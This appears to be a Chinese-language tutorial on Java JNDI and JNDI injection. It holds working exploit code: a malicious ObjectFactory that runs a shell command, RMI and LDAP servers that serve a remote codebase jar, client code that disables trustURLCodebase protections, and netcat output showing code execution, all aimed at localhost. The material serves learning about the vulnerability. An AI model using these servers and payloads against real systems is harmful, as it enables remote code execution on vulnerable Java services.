JNDI 是Java提供的Java命令和目录接口,通过调用JNDI的接口可以快速,定位资源或者其他程序。可访问的服务和数据源有:JDBC
、LDAP
,RMI
,DNS
,NIS
,CORBA
。
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
JNDI 目录服务
访问JNDI
目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI
上下文(Context
)时未指定环境变量
对象,JNDI
会自动搜索系统属性(System.getProperty())
、applet 参数
和应用程序资源文件(jndi.properties)
。
1 2 3 4 5 6 7 8 9 10 11
| Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");
env.put(Context.PROVIDER_URL, "url");
DirContext context = new InitialDirContext(env);
|
Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)
指的是JNDI
服务处理的具体类名称,如:DNS
服务可以使用com.sun.jndi.dns.DnsContextFactory
类来处理,JNDI
上下文工厂类必须实现javax.naming.spi.InitialContextFactory
接口,通过重写getInitialContext
方法来创建服务。
1 2 3 4 5 6 7
| package javax.naming.spi;
public interface InitialContextFactory {
public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;
}
|
JNDI-DNS解析
JNDI
支持访问DNS
服务,注册环境变量时设置JNDI
服务处理的工厂类为com.sun.jndi.dns.DnsContextFactory
即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package jndi;
import java.util.Hashtable; import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.Attributes; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext;
public class DNSContextFactoryTest { public static void main(String[] args) throws NamingException { Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory"); env.put(Context.PROVIDER_URL, "dns:///"); DirContext ctx = new InitialDirContext(env); Attributes attrs = ctx.getAttributes("www.baidu.com", new String[] { "A" }); String ip = (String) attrs.get("A").get(); System.out.println(ip); } }
|
运行结果
JNDI-RMI远程方法调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package jndi;
import rmi.RMITestInterface;
import javax.naming.Context; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.util.Hashtable;
import static rmi.RmiServiceTest.*;
public class RMIRegistryContextFactoryTest { public static void main(String[] args) throws Exception { String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT; Hashtable<String, String> env = new Hashtable<>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, providerURL); try{ DirContext context = new InitialDirContext(env); RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME); String result = testInterface.test(); System.out.println(result); }catch (Exception e){ e.printStackTrace(); } } }
|
JNDI-协议转换
如果JNDI
在lookup
时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。
JNDI
默认支持自动转换的协议有:
协议名称 |
协议URL |
Context类 |
DNS协议 |
dns:// |
com.sun.jndi.url.dns.dnsURLContext |
RMI协议 |
rmi:// |
com.sun.jndi.url.rmi.rmiURLContext |
LDAP协议 |
ldap:// |
com.sun.jndi.url.ldap.ldapURLContext |
LDAP协议 |
ldaps:// |
com.sun.jndi.url.ldaps.ldapsURLContextFactory |
IIOP对象请求代理协议 |
iiop:// |
com.sun.jndi.url.iiop.iiopURLContext |
IIOP对象请求代理协议 |
iiopname:// |
com.sun.jndi.url.iiopname.iiopnameURLContextFactory |
IIOP对象请求代理协议 |
corbaname:// |
com.sun.jndi.url.corbaname.corbanameURLContextFactory |
JNDI-Reference
在JNDI
服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。
RMI/LDAP远程对象引用安全限制
在RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121
开始java.rmi.server.useCodebaseOnly
默认配置已经改为了true
。
JDK 6u132, JDK 7u122, JDK 8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值已改为了false
。
本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
1 2
| System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
|
或者在启动Java
程序时候指定-D参数
:-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。
LDAP
在JDK 11.0.1、8u191、7u201、6u211
后也将默认的com.sun.jndi.ldap.object.trustURLCodebase
设置为了false
。
高版本JDK
可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用。
使用创建恶意的ObjectFactory对象
JNDI 允许通过对象工厂(javax.naming.spi.ObjectFactory
)动态加载对象实现
对象工厂必须实现 javax.naming.spi.ObjectFactory
接口并重写getObjectInstance
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package jndi;
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;
public class ReferenceObjectFactory implements ObjectFactory {
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return Runtime.getRuntime().exec("curl localhost:9000"); } }
|
创建恶意的RMI对象
再RMI服务端绑定一个恶意的引用对象的时候,RMI客户端在获取服务端绑定的对象的时候,发现是一个Reference对象后检查,当前JVM是否允许远程加载引用对象。如果允许加载,并且本地不存在这个对象工厂类,会使用URLClassLoader加载远程的jar,并加载我们构建好的一个恶意工程类,然后调用其中的getObjectInstance方法从而触发方法中的恶意RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.vul.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.Naming; import java.rmi.registry.LocateRegistry;
import static com.vul.rmi.RmiServiceTest.RMI_NAME; import static com.vul.rmi.RmiServiceTest.RMI_PORT;
public class RMIReferenceServerTest { public static void main(String[] args) { try { String url = "http://127.0.0.1/java/test.jar"; String className = "com.vul.jndi.ReferenceObjectFactory"; LocateRegistry.createRegistry(RMI_PORT); Reference reference = new Reference(className, className, url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); Naming.bind(RMI_NAME, referenceWrapper); System.out.println("RMI Reference Server is running..." + RMI_NAME);
} catch (Exception e) { e.printStackTrace(); } } }
|
RMI 客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.vul.jndi;
import javax.naming.InitialContext;
import static com.vul.rmi.RmiServiceTest.RMI_NAME;
public class RMIReferenceClientTest { public static void main(String[] args) { try { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); InitialContext context = new InitialContext(); Object obj = context.lookup(RMI_NAME); System.out.println(obj); } catch (Exception e) { e.printStackTrace(); } } }
|
测试结果
1 2 3 4 5 6 7
| C:\Users\keac>nc -lvnp 6666 listening on [any] 6666 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59890 GET / HTTP/1.1 Host: localhost:6666 User-Agent: curl/7.79.1 Accept: */*
|
但在真实的环境下由于发起RMI
请求的客户端的JDK
版本大于我们的测试要求或者网络限制等可能会导致攻击失败。
LDAP 恶意服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package com.vul.jndi; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress;
public class LDAPReferenceServerTest { public static final int SERVER_PORT = 3890; public static final String BIND_HOST = "127.0.0.1";
public static final String LDAP_ENTRY_NAME = "test";
public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;
public static final String REMOTE_REFERENCE_JAR = "http://127.0.0.1/java/test.jar";
private static final String LDAP_BASE = "dc=test,dc=org";
public static void main(String[] args) { try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName(BIND_HOST), SERVER_PORT, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()) ); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.startListening(); System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
} catch (Exception e) { e.printStackTrace(); }
} private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base); try { String className = "com.vul.jndi.ReferenceObjectFactory"; entry.addAttribute("javaClassName", className); entry.addAttribute("javaFactory", className);
entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);
entry.addAttribute("objectClass", "javaNamingReference");
result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Exception e1) { e1.printStackTrace(); } } } }
|
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.vul.jndi;
import javax.naming.Context; import javax.naming.InitialContext;
import static com.vul.jndi.LDAPReferenceServerTest.LDAP_URL;
public class LDAPReferenceClientTest { public static void main(String[] args) { try{ System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); Context ctx = new InitialContext(); Object obj = ctx.lookup(LDAP_URL); System.out.println(obj);
}catch (Exception e) { e.printStackTrace(); } } }
|
JNDI 注入漏洞利用
触发JNDI
注入漏洞的方式也是非常的简单,只需要直接或间接的调用JNDI
服务,且lookup
的参数值可控、JDK
版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。
1 2 3 4
| Context ctx = new InitialContext();
Object obj = ctx.lookup("注入JNDI服务URL");
|
我们只需间接的找到调用了JNDI
的lookup
方法的类且lookup
的URL
可被我们恶意控制的后端接口或者服务即可利用。